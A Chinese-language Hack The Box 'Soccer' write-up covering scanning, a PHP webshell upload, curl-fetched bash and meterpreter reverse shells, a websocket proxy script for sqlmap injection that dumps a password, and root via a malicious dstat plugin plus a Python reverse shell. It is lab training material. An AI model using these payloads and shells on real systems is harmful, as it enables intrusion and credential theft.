HTB_soccer

HTB soccer

信息收集

┌──(kali㉿kali)-[~]
└─$ sudo nmap --min-rate 10000 -p- 10.10.11.194
[sudo] kali 的密码:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 21:02 CST
Warning: 10.10.11.194 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.194 (10.10.11.194)
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 23.54 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sT -O -p22,80,9091 soccer   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 21:04 CST
Nmap scan report for soccer (10.10.11.194)
Host is up (0.16s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=5/30%Time=6475F465%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Tue,\x2030\x20May\x202023\x2013:04:42\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Tue,\x2030\x20May\x202023\x2013:04:43\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Tue,\
SF:x2030\x20May\x202023\x2013:04:43\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.80 seconds
┌──(kali㉿kali)-[~/Tools/fscan]
└─$ ./fscan -h soccer    

   ___                              _  
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <  
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target soccer          is alive
[*] Icmp alive hosts len is: 1
soccer:9091 open
Open result.txt error, open result.txt: permission denied
soccer:22 open
Open result.txt error, open result.txt: permission denied
soccer:80 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://soccer             code:301 len:178    title:301 Moved Permanently 跳转url: http://soccer.htb/
Open result.txt error, open result.txt: permission denied
[*] WebTitle: http://soccer.htb/        code:200 len:6917   title:Soccer - Index
Open result.txt error, open result.txt: permission denied
[*] WebTitle: http://soccer:9091        code:404 len:139    title:Error
Open result.txt error, open result.txt: permission denied

80端口看没什么东西,也没有功能点,现在有四个思路:

  1. 子域名爆破
  2. 目录爆破
  3. 9091端口后续利用
  4. nday利用

子域名爆破

┌──(kali㉿kali)-[~]
└─$ sudo gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u soccer.htb --append-domain
[sudo] kali 的密码:
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://soccer.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/05/30 21:20:00 Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 99922 / 100001 (99.92%)
===============================================================
2023/05/30 21:26:20 Finished
===============================================================

目录爆破

┌──(kali㉿kali)-[~/Tools/dirsearch]
└─$ sudo ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ

        /'___\  /'___\           /'___\   
       /\ \__/ /\ \__/  __  __  /\ \__/   
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\  
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/  
         \ \_\   \ \_\  \ \____/  \ \_\   
          \/_/    \/_/   \/___/    \/_/   

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,301
________________________________________________

...
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 165ms]
    * FUZZ: tiny
...
┌──(kali㉿kali)-[~]
└─$ sudo gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -u http://soccer.htb/              
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/05/30 21:55:49 Starting gobuster in directory enumeration mode
===============================================================
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]                                                                         
Progress: 172328 / 220561 (78.13%)^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2023/05/30 22:08:10 Finished
===============================================================

都扫到了/tiny目录,访问看看:

image

账号密码:

image

getshell

有个文件上传的地方只能执行一次命令,执行完一次就会给删了

另外说一句这里好像有和公网服务器交互,不上梯子很卡,上完梯子之后好多了

image

我们上传文件:

image

普通的一句话木马就可以了

上传完访问/tiny/uploads/shell.php​就可以访问到木马了,这里只能执行一次,利用反弹shell

  1. curl反弹shell

    本地服务器新建一个文件,命名1.html,内容为:bash -i >& /dev/tcp/10.10.14.9/2333 0>&1|bash

    使用木马发送curl 10.10.14.9/1.html|bash

  2. 用msf的反弹shel

    msfvenom -p php/meterpreter/reverse_tcpLHOST=10.10.14.9 LPORT=4444 R > shell1.php

    msf > use exploit/multi/handler

    msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp

    msfexploit(multi/handler) > set LHOST 10.10.14.9

    msfexploit(multi/handler) > set LPORT 4444

拿到shell之后发现权限很低,找办法提权,发现sudo -l​或者suid提权​什么的都行不通

学到这样一个知识:

image

那我们就去服务器下寻找他nginx的相关配置文件:/etc/nginx/sites-enabled

image

发现一个子域名,添加到/etc/hosts

访问后进行注册登陆:(登陆注册过程中并未测到有用漏洞)

image​​​

这里可以对发送的数据进行抓包并进行测试:

image

可以看到这里是存在sql注入的,但是发现写脚本去测试好像总是返回404,测试不了

image

后来发现可以自己搭建一个类似中转站的东西,可以看网页源代码:

image

这里是建立了一个ws的接口用于发送数据

我们可以通过以下脚本连建立连接从而可以使用sqlmap来进行注入

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091" # 要修改

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line
    #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

    # For our case, format the payload in JSON
    message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
    data = '{"id":"%s"}' % message # 要修改

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False
        
            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
    pass

sqlmap命令如下:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://127.0.0.1:8081/?id=59268 and 1=1" --dump
        ___
       __H__                                                              
 ___ ___["]_____ ___ ___  {1.7.2#stable}                                  
|_ -| . [']     | .'| . |                                                 
|___|_  [.]_|_|_|__,|  _|                                                 
      |_|V...       |_|   https://sqlmap.org 
....
[17:44:02] [INFO] resumed: 1
[17:44:02] [INFO] resuming partial value: player@player.
[17:44:02] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[18:00:11] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[18:00:23] [INFO] adjusting time delay to 2 seconds due to good response times
htb
[18:00:50] [INFO] retrieved: 1324
[18:01:31] [INFO] retrieved: PlayerO
[18:02:56] [ERROR] invalid character detected. retrying..
[18:02:56] [WARNING] increasing time delay to 3 seconds
ftheMatch2022
[18:05:42] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

[18:07:03] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/soccer_db/accounts.csv'         
[18:07:03] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'                                           

[*] ending @ 18:07:03 /2023-05-31/

提权

ssh登陆后就是提权了,发现sudo -l用不了

就用find / -perm -u=s -type f 2 >/dev/null

player@soccer:~$ find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign

刚开始找一圈没找到提权的点,后来才知道/usr/local/bin/doas​可以提权

这个如何提权呢

/usr/local/share/dstat/​下创建一个文件命名为:dstat_shell.py​,内容为:

import os
os.system("bash -i")

输入命令:

doas -u root /usr/bin/dstat --list​ -> 查看可用插件

player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --list
internal:
 aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,
 epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,net,
 page,page24,proc,raw,socket,swap,swap-old,sys,tcp,time,
 udp,unix,vm,vm-adv,zones
/usr/share/dstat:
 battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,
 disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,dstat,
 dstat-cpu,dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,
 gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,
 jvm-full,jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,
 mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,
 mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,
 mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,
 net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,
 nfsstat4,ntp,postfix,power,proc-count,qmail,redis,rpc,
 rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,
 snmp-net-err,snmp-sys,snooze,squid,test,thermal,top-bio,
 top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,
 top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
 top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,
 vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,
 wifi,zfs-arc,zfs-l2arc,zfs-zil
/usr/local/share/dstat:
 shell

如果看到/usr/local/share/dstat​有shell则说明可以利用了:

player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --shell
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
root@soccer:/usr/local/share/dstat# cd /root
root@soccer:~# cat root.txt
1806c1110c263bxxxxxxxxxxxxx

提权的原理大概就是doas是一个类似于sudo的命令,他有插件,保存的位置如下:

 /usr/share/dstat/
 /usr/local/share/dstat/

因为dstat是支持用户自定义插件的,所以如果用户对这两个目录有可写入权限,那么就可以利用插件提权。

不仅可以写入:

import os
os.system("bash -i")

还可以写入反弹shell:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.64.128",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);